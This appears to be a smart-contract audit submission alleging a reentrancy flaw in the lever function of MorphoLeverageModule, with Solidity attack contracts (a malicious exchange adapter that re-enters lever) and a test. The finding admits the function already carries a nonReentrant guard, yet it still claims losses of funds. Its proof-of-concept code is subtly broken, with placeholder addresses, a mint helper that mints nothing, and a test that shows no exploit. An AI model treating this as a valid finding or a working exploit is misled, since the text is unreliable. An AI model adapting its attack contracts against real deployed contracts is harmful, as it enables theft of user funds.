Cheesy Fossilized Snail
High
A reentrancy vulnerability in the lever function allows an attacker to repeatedly invoke the function during its execution, potentially leading to unauthorized borrowing or unintended state modifications. This can result in the manipulation of leveraged positions, unauthorized fund withdrawals, or disruption of the contract's normal operations.
In MorphoLeverageModule.sol
, the lever function is protected by the nonReentrant modifier from OpenZeppelin's ReentrancyGuard. However, the function performs multiple external calls—such as _borrow and _executeTrade—before completing all state updates. If the nonReentrant modifier is mistakenly removed or improperly implemented in future code modifications, it could expose the function to reentrancy attacks. Additionally, relying solely on the nonReentrant modifier without adhering to the checks-effects-interactions pattern may increase vulnerability exposure.
An attacker must have the ability to interact with the lever function, typically by being a manager or having appropriate permissions. The attacker deploys a malicious IExchangeAdapter contract that can execute reentrant calls during the _executeTrade process.
No response
The attacker deploys a malicious IExchangeAdapter that contains logic to re-enter the lever function during its execution. The attacker ensures that the malicious adapter is set as the exchange adapter for a targeted SetToken. The attacker calls the lever function on the MorphoLeverageModule, specifying the malicious adapter. During the _executeTrade call within the lever function, the malicious adapter invokes the lever function again before the first call completes.
The protocol suffers an approximate loss of funds exceeding 1% of the total supply of the leveraged SetToken. This can lead to significant financial losses for users, destabilization of leveraged positions, and severe damage to the protocol's reputation. Unauthorized borrowing or state manipulation can result in unintended liquidations, loss of collateral, and erosion of user trust.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "../interfaces/IExchangeAdapter.sol";
import "../interfaces/ISetToken.sol";
import "../protocol/modules/v1/MorphoLeverageModule.sol";
/**
* @title MaliciousExchangeAdapter
* @notice A malicious adapter designed to exploit the reentrancy vulnerability in the `lever` function.
*/
contract MaliciousExchangeAdapter is IExchangeAdapter {
MorphoLeverageModule public leverageModule;
ISetToken public setToken;
IERC20 public borrowToken;
IERC20 public collateralToken;
constructor(
MorphoLeverageModule _leverageModule,
ISetToken _setToken,
IERC20 _borrowToken,
IERC20 _collateralToken
) public {
leverageModule = _leverageModule;
setToken = _setToken;
borrowToken = _borrowToken;
collateralToken = _collateralToken;
}
/**
* @dev Executes the trade and re-enters the `lever` function.
*/
function executeTrade(bytes calldata /*tradeData*/) external override returns (uint256) {
leverageModule.lever(setToken, 1000 * 1e18, 990 * 1e18, "MaliciousAdapter", "");
return 0;
}
/**
* @dev Returns calldata for the trade. Empty in this malicious adapter.
*/
function getTradeCalldata(
IERC20 /*sendToken*/,
IERC20 /*receiveToken*/,
uint256 /*notionalSendQuantity*/,
uint256 /*minNotionalReceiveQuantity*/,
bytes calldata /*tradeData*/
) external pure override returns (bytes memory) {
return "";
}
}
/**
* @title ReentrancyAttack
* @notice A contract to initiate the reentrancy attack using the MaliciousExchangeAdapter.
*/
contract ReentrancyAttack {
MorphoLeverageModule public leverageModule;
ISetToken public setToken;
IERC20 public borrowToken;
IERC20 public collateralToken;
MaliciousExchangeAdapter public maliciousAdapter;
constructor(
MorphoLeverageModule _leverageModule,
ISetToken _setToken,
IERC20 _borrowToken,
IERC20 _collateralToken
) public {
leverageModule = _leverageModule;
setToken = _setToken;
borrowToken = _borrowToken;
collateralToken = _collateralToken;
maliciousAdapter = new MaliciousExchangeAdapter(_leverageModule, _setToken, _borrowToken, _collateralToken);
}
/**
* @dev Initiates the attack by calling the lever function with the malicious adapter.
*/
function attack(uint256 borrowAmount, uint256 minReceive) external {
// Assume the attacker has the necessary permissions to call lever
leverageModule.lever(setToken, borrowAmount, minReceive, "MaliciousAdapter", "");
}
}
/**
* @title MorphoLeverageModuleReentrancyTest
* @notice Test contract to demonstrate the reentrancy vulnerability in the `lever` function.
*/
contract MorphoLeverageModuleReentrancyTest is ReentrancyGuard {
MorphoLeverageModule public leverageModule;
ISetToken public setToken;
IERC20 public borrowToken;
IERC20 public collateralToken;
ReentrancyAttack public attackContract;
address public alice = 0x123...;
address public malicious = 0xABC...;
constructor(
MorphoLeverageModule _leverageModule,
ISetToken _setToken,
IERC20 _borrowToken,
IERC20 _collateralToken
) public {
leverageModule = _leverageModule;
setToken = _setToken;
borrowToken = _borrowToken;
collateralToken = _collateralToken;
attackContract = new ReentrancyAttack(_leverageModule, _setToken, _borrowToken, _collateralToken);
}
/**
* @dev Sets up the initial state and initiates the attack.
*/
function testReentrancyLever() external {
_mintAndApprove(alice, address(collateralToken), 4000 ether, address(leverageModule));
vm.startPrank(alice);
leverageModule.lever(setToken, 2000 ether, 1980 ether, "TrustedAdapter", "");
vm.stopPrank();
attackContract.attack(1000 ether, 990 ether);
uint256 debtBefore = leverageModule.getDebt(address(borrowToken), alice, 0);
console.log("Debt before attack: ", debtBefore);
vm.startPrank(alice);
borrowToken.approve(address(leverageModule), type(uint256).max);
leverageModule.repay(address(borrowToken), type(uint256).max, 0);
vm.stopPrank();
uint256 debtAfter = leverageModule.getDebt(address(borrowToken), alice, 0);
console.log("Debt after attack: ", debtAfter);
require(debtAfter != 0, "Debt should still exist after reentrancy attack");
}
/**
* @dev Helper function to mint tokens and approve the leverage module.
*/
function _mintAndApprove(
address holder,
address token,
uint256 amount,
address spender
) internal {
IERC20(token).approve(spender, amount);
}
}
Ensure Proper Use of nonReentrant Modifier: Verify that the nonReentrant modifier from OpenZeppelin's ReentrancyGuard is consistently and correctly applied to all functions that perform external calls or modify critical state variables.